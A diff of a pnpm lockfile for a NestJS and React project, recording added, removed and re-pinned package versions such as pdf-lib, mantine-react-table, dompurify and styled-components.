- - '@types/react'
-
'@napi-rs/canvas-android-arm64@0.1.100':
optional: true
@@ -14463,7 +14655,7 @@ snapshots:
tslib: 2.8.1
uid: 2.0.2
optionalDependencies:
- '@nestjs/microservices': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(amqp-connection-manager@5.0.0(amqplib@2.0.1))(amqplib@2.0.1)(reflect-metadata@0.2.2)(rxjs@7.8.2)
+ '@nestjs/microservices': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(amqp-connection-manager@5.0.0(amqplib@0.10.9))(amqplib@0.10.9)(reflect-metadata@0.2.2)(rxjs@7.8.2)
'@nestjs/platform-express': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)
'@nestjs/event-emitter@2.1.1(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)':
@@ -14494,6 +14686,18 @@ snapshots:
class-transformer: 0.5.1
class-validator: 0.14.4
+ '@nestjs/microservices@11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(amqp-connection-manager@5.0.0(amqplib@0.10.9))(amqplib@0.10.9)(reflect-metadata@0.2.2)(rxjs@7.8.2)':
+ dependencies:
+ '@nestjs/common': 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2)
+ '@nestjs/core': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2)
+ iterare: 1.2.1
+ reflect-metadata: 0.2.2
+ rxjs: 7.8.2
+ tslib: 2.8.1
+ optionalDependencies:
+ amqp-connection-manager: 5.0.0(amqplib@0.10.9)
+ amqplib: 0.10.9
+
'@nestjs/microservices@11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(amqp-connection-manager@5.0.0(amqplib@2.0.1))(amqplib@2.0.1)(reflect-metadata@0.2.2)(rxjs@7.8.2)':
dependencies:
'@nestjs/common': 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2)
@@ -14578,7 +14782,7 @@ snapshots:
'@nestjs/core': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2)
tslib: 2.8.1
optionalDependencies:
- '@nestjs/microservices': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(amqp-connection-manager@5.0.0(amqplib@2.0.1))(amqplib@2.0.1)(reflect-metadata@0.2.2)(rxjs@7.8.2)
+ '@nestjs/microservices': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(amqp-connection-manager@5.0.0(amqplib@0.10.9))(amqplib@0.10.9)(reflect-metadata@0.2.2)(rxjs@7.8.2)
'@nestjs/platform-express': 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)
'@nestjs/throttler@6.5.0(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(reflect-metadata@0.2.2)':
@@ -14740,6 +14944,14 @@ snapshots:
'@parcel/watcher-win32-ia32': 2.5.6
'@parcel/watcher-win32-x64': 2.5.6
+ '@pdf-lib/standard-fonts@1.0.0':
+ dependencies:
+ pako: 1.0.11
+
+ '@pdf-lib/upng@1.0.1':
+ dependencies:
+ pako: 1.0.11
+
'@phc/format@1.0.0': {}
'@pkgjs/parseargs@0.11.0':
@@ -16642,26 +16854,6 @@ snapshots:
'@sec-ant/readable-stream@0.4.1': {}
- '@sendgrid/client@8.1.6':
- dependencies:
- '@sendgrid/helpers': 8.0.0
- axios: 1.17.0
- transitivePeerDependencies:
- - debug
- - supports-color
-
- '@sendgrid/helpers@8.0.0':
- dependencies:
- deepmerge: 4.3.1
-
- '@sendgrid/mail@8.1.6':
- dependencies:
- '@sendgrid/client': 8.1.6
- '@sendgrid/helpers': 8.0.0
- transitivePeerDependencies:
- - debug
- - supports-color
-
'@sinclair/typebox@0.27.10': {}
'@sindresorhus/merge-streams@4.0.0': {}
@@ -16780,6 +16972,10 @@ snapshots:
tailwindcss: 4.3.0
vite: 5.4.21(@types/node@24.13.1)(lightningcss@1.32.0)(terser@5.48.0)
+ '@tanstack/match-sorter-utils@8.19.4':
+ dependencies:
+ remove-accents: 0.5.0
+
'@tanstack/query-core@5.101.0': {}
'@tanstack/query-devtools@5.101.0': {}
@@ -16800,6 +16996,12 @@ snapshots:
'@tanstack/query-core': 5.101.0
react: 19.2.6
+ '@tanstack/react-table@8.20.5(react-dom@19.2.6(react@19.2.6))(react@19.2.6)':
+ dependencies:
+ '@tanstack/table-core': 8.20.5
+ react: 19.2.6
+ react-dom: 19.2.6(react@19.2.6)
+
'@tanstack/react-table@8.21.3(react-dom@18.3.1(react@18.3.1))(react@18.3.1)':
dependencies:
'@tanstack/table-core': 8.21.3
@@ -16812,8 +17014,18 @@ snapshots:
react: 19.2.6
react-dom: 19.2.6(react@19.2.6)
+ '@tanstack/react-virtual@3.11.2(react-dom@19.2.6(react@19.2.6))(react@19.2.6)':
+ dependencies:
+ '@tanstack/virtual-core': 3.11.2
+ react: 19.2.6
+ react-dom: 19.2.6(react@19.2.6)
+
+ '@tanstack/table-core@8.20.5': {}
+
'@tanstack/table-core@8.21.3': {}
+ '@tanstack/virtual-core@3.11.2': {}
+
'@tinymce/tinymce-react@6.3.0(react-dom@19.2.6(react@19.2.6))(react@19.2.6)(tinymce@7.9.3)':
dependencies:
prop-types: 15.8.1
@@ -17243,17 +17455,17 @@ snapshots:
- webpack-command
- worker-loader
- '@tria-plc/iamui-common@1.1.2(9eda5000a9f7ac3b614e21a2a3a3f1e2)':
+ '@tria-plc/iamui@0.0.3(0ce39b7e349029277dcd938d06eeb0f7)':
dependencies:
- '@chakra-ui/react': 3.35.0(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
'@emotion/react': 11.14.0(@types/react@18.3.31)(react@19.2.6)
'@emotion/styled': 11.14.1(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react@19.2.6)
'@hookform/resolvers': 5.4.0(react-hook-form@7.77.0(react@19.2.6))
'@lottiefiles/react-lottie-player': 3.6.0(react@19.2.6)
- '@mantine/core': 8.3.18(@mantine/hooks@8.3.18(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
- '@mantine/dates': 8.3.18(@mantine/core@8.3.18(@mantine/hooks@8.3.18(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6))(@mantine/hooks@8.3.18(react@19.2.6))(dayjs@1.11.21)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
- '@mantine/hooks': 8.3.18(react@19.2.6)
- '@onlyoffice/document-editor-react': 2.2.0(@onlyoffice/doceditor-types@9.4.0)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
+ '@mantine/charts': 7.17.8(@mantine/core@7.17.8(@mantine/hooks@7.17.8(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6))(@mantine/hooks@7.17.8(react@19.2.6))(react-dom@19.2.6(react@19.2.6))(react@19.2.6)(recharts@3.8.1(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react-is@19.2.7)(react@19.2.6)(redux@5.0.1))
+ '@mantine/core': 7.17.8(@mantine/hooks@7.17.8(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
+ '@mantine/dates': 7.17.8(@mantine/core@9.3.0(@mantine/hooks@9.3.0(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6))(@mantine/hooks@9.3.0(react@19.2.6))(dayjs@1.11.21)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
+ '@mantine/hooks': 7.17.8(react@19.2.6)
+ '@mantine/notifications': 7.17.8(@mantine/core@7.17.8(@mantine/hooks@7.17.8(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6))(@mantine/hooks@7.17.8(react@19.2.6))(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
'@radix-ui/react-accordion': 1.2.13(@types/react-dom@18.3.7(@types/react@18.3.31))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
'@radix-ui/react-alert-dialog': 1.1.16(@types/react-dom@18.3.7(@types/react@18.3.31))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
'@radix-ui/react-avatar': 1.1.12(@types/react-dom@18.3.7(@types/react@18.3.31))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
@@ -17271,12 +17483,10 @@ snapshots:
'@radix-ui/react-scroll-area': 1.2.11(@types/react-dom@18.3.7(@types/react@18.3.31))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
'@radix-ui/react-select': 2.3.0(@types/react-dom@18.3.7(@types/react@18.3.31))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
'@radix-ui/react-separator': 1.1.9(@types/react-dom@18.3.7(@types/react@18.3.31))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
- '@radix-ui/react-slider': 1.4.0(@types/react-dom@18.3.7(@types/react@18.3.31))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
'@radix-ui/react-slot': 1.2.5(@types/react@18.3.31)(react@19.2.6)
'@radix-ui/react-switch': 1.3.0(@types/react-dom@18.3.7(@types/react@18.3.31))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
'@radix-ui/react-tabs': 1.1.14(@types/react-dom@18.3.7(@types/react@18.3.31))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
'@radix-ui/react-toast': 1.2.16(@types/react-dom@18.3.7(@types/react@18.3.31))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
- '@radix-ui/react-toggle-group': 1.1.12(@types/react-dom@18.3.7(@types/react@18.3.31))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
'@radix-ui/react-tooltip': 1.2.9(@types/react-dom@18.3.7(@types/react@18.3.31))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
'@react-pdf-viewer/core': 3.12.0(pdfjs-dist@5.4.296)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
'@react-pdf-viewer/default-layout': 3.12.0(pdfjs-dist@5.4.296)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
@@ -17288,27 +17498,19 @@ snapshots:
'@tanstack/react-query-devtools': 5.101.0(@tanstack/react-query@5.101.0(react@19.2.6))(react@19.2.6)
'@tanstack/react-table': 8.21.3(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
'@tinymce/tinymce-react': 6.3.0(react-dom@19.2.6(react@19.2.6))(react@19.2.6)(tinymce@7.9.3)
- '@tiptap/extension-color': 3.26.0(@tiptap/extension-text-style@3.26.0(@tiptap/core@3.26.0(@tiptap/pm@3.26.0)))
- '@tiptap/extension-highlight': 3.26.0(@tiptap/core@3.26.0(@tiptap/pm@3.26.0))
- '@tiptap/extension-image': 3.26.0(@tiptap/core@3.26.0(@tiptap/pm@3.26.0))
- '@tiptap/extension-link': 3.26.0(@tiptap/core@3.26.0(@tiptap/pm@3.26.0))(@tiptap/pm@3.26.0)
- '@tiptap/extension-text-align': 3.26.0(@tiptap/core@3.26.0(@tiptap/pm@3.26.0))
- '@tiptap/extension-text-style': 3.26.0(@tiptap/core@3.26.0(@tiptap/pm@3.26.0))
- '@tiptap/extension-underline': 3.26.0(@tiptap/core@3.26.0(@tiptap/pm@3.26.0))
- '@tiptap/react': 3.26.0(@floating-ui/dom@1.7.6)(@tiptap/core@3.26.0(@tiptap/pm@3.26.0))(@tiptap/pm@3.26.0)(@types/react-dom@18.3.7(@types/react@18.3.31))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
- '@tiptap/starter-kit': 3.26.0
+ '@types/dompurify': 3.2.0
'@types/node': 24.13.1
'@types/tinymce': 4.6.9
axios: 1.17.0
class-variance-authority: 0.7.1
clsx: 2.1.1
cmdk: 1.1.1(@types/react-dom@18.3.7(@types/react@18.3.31))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
- date-fns: 4.4.0
+ date-fns: 3.6.0
dayjs: 1.11.21
+ dompurify: 3.4.8
ethiopian-calendar-date-converter: 2.1.6
ethiopian-calendar-new: 1.1.0
file-type: 18.7.0
- force: 0.0.3
framer-motion: 12.40.0(@emotion/is-prop-valid@1.4.0)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
html2canvas: 1.4.1
i18next: 25.10.10(typescript@5.9.3)
@@ -17316,17 +17518,18 @@ snapshots:
jquery: 3.7.1
js-cookie: 3.0.8
jspdf: 3.0.4
- loadash: 1.0.0
lodash: 4.18.1
lucide-react: 0.513.0(react@19.2.6)
- mui-ethiopian-datepicker: 0.3.2(7d86988bc4fd0020aebaf3d4b373b1a0)
+ mantine-react-table: 2.0.0-beta.9(@mantine/core@7.17.8(@mantine/hooks@7.17.8(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6))(@mantine/dates@7.17.8(@mantine/core@7.17.8(@mantine/hooks@7.17.8(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6))(@mantine/hooks@7.17.8(react@19.2.6))(dayjs@1.11.21)(react-dom@19.2.6(react@19.2.6))(react@19.2.6))(@mantine/hooks@7.17.8(react@19.2.6))(@tabler/icons-react@3.44.0(react@19.2.6))(clsx@2.1.1)(dayjs@1.11.21)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
+ mui-ethiopian-datepicker: 0.3.2(4b3af212eafdf0059f009b005d7e343d)
next-themes: 0.4.6(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
path: 0.12.7
+ pdf-lib: 1.17.1
qs: 6.15.2
react: 19.2.6
react-cookie: 8.1.2(@types/react@18.3.31)(react@19.2.6)
- react-datepicker: 8.10.0(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
- react-day-picker: 9.14.0(react@19.2.6)
+ react-css-nocode-editor: 1.0.13(@babel/core@7.29.7)(react-dom@19.2.6(react@19.2.6))(react-is@19.2.7)(react@19.2.6)
+ react-day-picker: 8.10.2(date-fns@3.6.0)(react@19.2.6)
react-dom: 19.2.6(react@19.2.6)
react-dropzone: 14.4.1(react@19.2.6)
react-hook-form: 7.77.0(react@19.2.6)
@@ -17334,54 +17537,47 @@ snapshots:
react-icons: 5.6.0(react@19.2.6)
react-image-crop: 11.0.10(react@19.2.6)
react-intersection-observer: 9.16.0(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
- react-is: 19.2.7
- react-joyride: 2.9.3(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
react-pdf: 10.4.1(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
react-pdf-html: 2.1.5(@react-pdf/renderer@4.5.1(react@19.2.6))(react@19.2.6)
- react-pdf-viewer: 0.1.0
react-redux: 9.3.0(@types/react@18.3.31)(react@19.2.6)(redux@5.0.1)
react-resizable-panels: 3.0.6(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
react-router-dom: 7.17.0(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
react-signature-canvas: 1.1.0-alpha.2(@types/prop-types@15.7.15)(@types/react@18.3.31)(prop-types@15.8.1)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
recharts: 3.8.1(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react-is@19.2.7)(react@19.2.6)(redux@5.0.1)
+ rollup-plugin-visualizer: 7.0.1(rollup@4.61.1)
socket.io-client: 4.8.3
sonner: 2.0.7(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
tailwind-merge: 3.6.0
tailwind-scrollbar-hide: 4.0.0(tailwindcss@4.3.0)
tailwindcss: 4.3.0
tailwindcss-animate: 1.0.7(tailwindcss@4.3.0)
- tesseract.js: 7.0.0
tinymce: 7.9.3
url: 0.11.4
vaul: 1.1.2(@types/react-dom@18.3.7(@types/react@18.3.31))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
xlsx: 0.18.5
zod: 3.25.76
transitivePeerDependencies:
+ - '@babel/core'
- '@emotion/is-prop-valid'
- - '@floating-ui/dom'
- '@mui/icons-material'
- '@mui/material'
- '@mui/x-date-pickers'
- - '@onlyoffice/doceditor-types'
- - '@tiptap/core'
- - '@tiptap/pm'
- '@types/prop-types'
- '@types/react'
- '@types/react-dom'
- bufferutil
- debug
- - encoding
- pdfjs-dist
- prop-types
+ - react-is
- react-native
- redux
+ - rolldown
+ - rollup
- supports-color
- typescript
- utf-8-validate
- vite
- - webpack-cli
- - webpack-command
- - worker-loader
'@ts-morph/common@0.27.0':
dependencies:
@@ -17488,6 +17684,10 @@ snapshots:
'@types/d3-timer@3.0.2': {}
+ '@types/dompurify@3.2.0':
+ dependencies:
+ dompurify: 3.4.8
+
'@types/eslint-scope@3.7.7':
dependencies:
'@types/eslint': 9.6.1
@@ -18657,6 +18857,12 @@ snapshots:
amqplib: 0.10.9
promise-breaker: 6.0.0
+ amqp-connection-manager@5.0.0(amqplib@0.10.9):
+ dependencies:
+ amqplib: 0.10.9
+ promise-breaker: 6.0.0
+ optional: true
+
amqp-connection-manager@5.0.0(amqplib@2.0.1):
dependencies:
amqplib: 2.0.1
@@ -19158,6 +19364,17 @@ snapshots:
cosmiconfig: 7.1.0
resolve: 1.22.12
+ babel-plugin-styled-components@2.3.0(@babel/core@7.29.7)(styled-components@5.3.11(@babel/core@7.29.7)(react-dom@19.2.6(react@19.2.6))(react-is@19.2.7)(react@19.2.6))(supports-color@5.5.0):
+ dependencies:
+ '@babel/core': 7.29.7
+ '@babel/helper-annotate-as-pure': 7.29.7
+ '@babel/helper-module-imports': 7.29.7(supports-color@5.5.0)
+ '@babel/plugin-syntax-jsx': 7.29.7(@babel/core@7.29.7)
+ picomatch: 4.0.4
+ styled-components: 5.3.11(@babel/core@7.29.7)(react-dom@19.2.6(react@19.2.6))(react-is@19.2.7)(react@19.2.6)
+ transitivePeerDependencies:
+ - supports-color
+
babel-preset-current-node-syntax@1.2.0(@babel/core@7.29.7):
dependencies:
'@babel/core': 7.29.7
@@ -19562,6 +19779,8 @@ snapshots:
camelcase@6.3.0: {}
+ camelize@1.0.1: {}
+
caniuse-lite@1.0.30001797: {}
canvg@3.0.11:
@@ -20068,6 +20287,8 @@ snapshots:
dependencies:
tiny-invariant: 1.3.3
+ css-color-keywords@1.0.0: {}
+
css-line-break@2.1.0:
dependencies:
utrie: 1.0.2
@@ -20080,6 +20301,12 @@ snapshots:
domutils: 3.2.2
nth-check: 2.1.1
+ css-to-react-native@3.2.0:
+ dependencies:
+ camelize: 1.0.1
+ css-color-keywords: 1.0.0
+ postcss-value-parser: 4.2.0
+
css-tree@1.1.3:
dependencies:
mdn-data: 2.0.14
@@ -20409,7 +20636,6 @@ snapshots:
dompurify@3.4.8:
optionalDependencies:
'@types/trusted-types': 2.0.7
- optional: true
domutils@3.2.2:
dependencies:
@@ -23449,6 +23675,20 @@ snapshots:
dependencies:
tmpl: 1.0.5
+ mantine-react-table@2.0.0-beta.9(@mantine/core@7.17.8(@mantine/hooks@7.17.8(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6))(@mantine/dates@7.17.8(@mantine/core@7.17.8(@mantine/hooks@7.17.8(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6))(@mantine/hooks@7.17.8(react@19.2.6))(dayjs@1.11.21)(react-dom@19.2.6(react@19.2.6))(react@19.2.6))(@mantine/hooks@7.17.8(react@19.2.6))(@tabler/icons-react@3.44.0(react@19.2.6))(clsx@2.1.1)(dayjs@1.11.21)(react-dom@19.2.6(react@19.2.6))(react@19.2.6):
+ dependencies:
+ '@mantine/core': 7.17.8(@mantine/hooks@7.17.8(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
+ '@mantine/dates': 7.17.8(@mantine/core@9.3.0(@mantine/hooks@9.3.0(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6))(@mantine/hooks@9.3.0(react@19.2.6))(dayjs@1.11.21)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
+ '@mantine/hooks': 7.17.8(react@19.2.6)
+ '@tabler/icons-react': 3.44.0(react@19.2.6)
+ '@tanstack/match-sorter-utils': 8.19.4
+ '@tanstack/react-table': 8.20.5(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
+ '@tanstack/react-virtual': 3.11.2(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
+ clsx: 2.1.1
+ dayjs: 1.11.21
+ react: 19.2.6
+ react-dom: 19.2.6(react@19.2.6)
+
map-cache@0.2.2: {}
map-obj@1.0.1: {}
@@ -23727,14 +23967,14 @@ snapshots:
react: 19.2.6
react-dom: 19.2.6(react@19.2.6)
- mui-ethiopian-datepicker@0.3.2(7d86988bc4fd0020aebaf3d4b373b1a0):
+ mui-ethiopian-datepicker@0.3.2(4b3af212eafdf0059f009b005d7e343d):
dependencies:
'@emotion/react': 11.14.0(@types/react@18.3.31)(react@19.2.6)
'@emotion/styled': 11.14.1(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react@19.2.6)
'@mui/icons-material': 5.18.0(@mui/material@5.18.0(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@emotion/styled@11.14.1(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6))(@types/react@18.3.31)(react@19.2.6)
'@mui/material': 5.18.0(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@emotion/styled@11.14.1(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
- '@mui/x-date-pickers': 6.20.2(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@emotion/styled@11.14.1(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react@19.2.6))(@mui/material@5.18.0(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@emotion/styled@11.14.1(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6))(@mui/system@5.18.0(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@emotion/styled@11.14.1(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(date-fns@4.4.0)(dayjs@1.11.21)(luxon@3.7.2)(moment@2.30.1)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
- date-fns: 4.4.0
+ '@mui/x-date-pickers': 6.20.2(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@emotion/styled@11.14.1(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react@19.2.6))(@mui/material@5.18.0(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@emotion/styled@11.14.1(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6))(@mui/system@5.18.0(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@emotion/styled@11.14.1(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(date-fns@3.6.0)(dayjs@1.11.21)(luxon@3.7.2)(moment@2.30.1)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
+ date-fns: 3.6.0
react: 19.2.6
react-dom: 19.2.6(react@19.2.6)
@@ -24356,6 +24596,13 @@ snapshots:
sha.js: 2.4.12
to-buffer: 1.2.2
+ pdf-lib@1.17.1:
+ dependencies:
+ '@pdf-lib/standard-fonts': 1.0.0
+ '@pdf-lib/upng': 1.0.1
+ pako: 1.0.11
+ tslib: 1.14.1
+
pdfjs-dist@2.16.105:
dependencies:
dommatrix: 1.0.3
@@ -24946,6 +25193,15 @@ snapshots:
transitivePeerDependencies:
- '@types/react'
+ react-css-nocode-editor@1.0.13(@babel/core@7.29.7)(react-dom@19.2.6(react@19.2.6))(react-is@19.2.7)(react@19.2.6):
+ dependencies:
+ react: 19.2.6
+ react-dom: 19.2.6(react@19.2.6)
+ styled-components: 5.3.11(@babel/core@7.29.7)(react-dom@19.2.6(react@19.2.6))(react-is@19.2.7)(react@19.2.6)
+ transitivePeerDependencies:
+ - '@babel/core'
+ - react-is
+
react-datepicker@8.10.0(react-dom@19.2.6(react@19.2.6))(react@19.2.6):
dependencies:
'@floating-ui/react': 0.27.19(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
@@ -24954,6 +25210,11 @@ snapshots:
react: 19.2.6
react-dom: 19.2.6(react@19.2.6)
+ react-day-picker@8.10.2(date-fns@3.6.0)(react@19.2.6):
+ dependencies:
+ date-fns: 3.6.0
+ react: 19.2.6
+
react-day-picker@9.14.0(react@19.2.6):
dependencies:
'@date-fns/tz': 1.5.0
@@ -25447,6 +25708,8 @@ snapshots:
argparse: 1.0.10
autolinker: 0.28.1
+ remove-accents@0.5.0: {}
+
remove-trailing-separator@1.1.0: {}
repeat-element@1.1.4: {}
@@ -25570,6 +25833,15 @@ snapshots:
hash-base: 3.1.2
inherits: 2.0.4
+ rollup-plugin-visualizer@7.0.1(rollup@4.61.1):
+ dependencies:
+ open: 11.0.0
+ picomatch: 4.0.4
+ source-map: 0.7.6
+ yargs: 18.0.0
+ optionalDependencies:
+ rollup: 4.61.1
+
rollup@4.61.1:
dependencies:
'@types/estree': 1.0.9
@@ -25870,6 +26142,8 @@ snapshots:
- supports-color
- typescript
+ shallowequal@1.1.0: {}
+
shebang-command@1.2.0:
dependencies:
shebang-regex: 1.0.0
@@ -26335,6 +26609,24 @@ snapshots:
style-object-to-css-string@1.1.3: {}
+ styled-components@5.3.11(@babel/core@7.29.7)(react-dom@19.2.6(react@19.2.6))(react-is@19.2.7)(react@19.2.6):
+ dependencies:
+ '@babel/helper-module-imports': 7.29.7(supports-color@5.5.0)
+ '@babel/traverse': 7.29.7(supports-color@5.5.0)
+ '@emotion/is-prop-valid': 1.4.0
+ '@emotion/stylis': 0.8.5
+ '@emotion/unitless': 0.7.5
+ babel-plugin-styled-components: 2.3.0(@babel/core@7.29.7)(styled-components@5.3.11(@babel/core@7.29.7)(react-dom@19.2.6(react@19.2.6))(react-is@19.2.7)(react@19.2.6))(supports-color@5.5.0)
+ css-to-react-native: 3.2.0
+ hoist-non-react-statics: 3.3.2
+ react: 19.2.6
+ react-dom: 19.2.6(react@19.2.6)
+ react-is: 19.2.7
+ shallowequal: 1.1.0
+ supports-color: 5.5.0
+ transitivePeerDependencies:
+ - '@babel/core'
+
styled-jsx@5.1.1(babel-plugin-macros@3.1.0)(react@18.3.1):
dependencies:
client-only: 0.0.1
@@ -26810,6 +27102,8 @@ snapshots:
minimist: 1.2.8
strip-bom: 3.0.0
+ tslib@1.14.1: {}
+
tslib@2.8.1: {}
tty-browserify@0.0.0: {}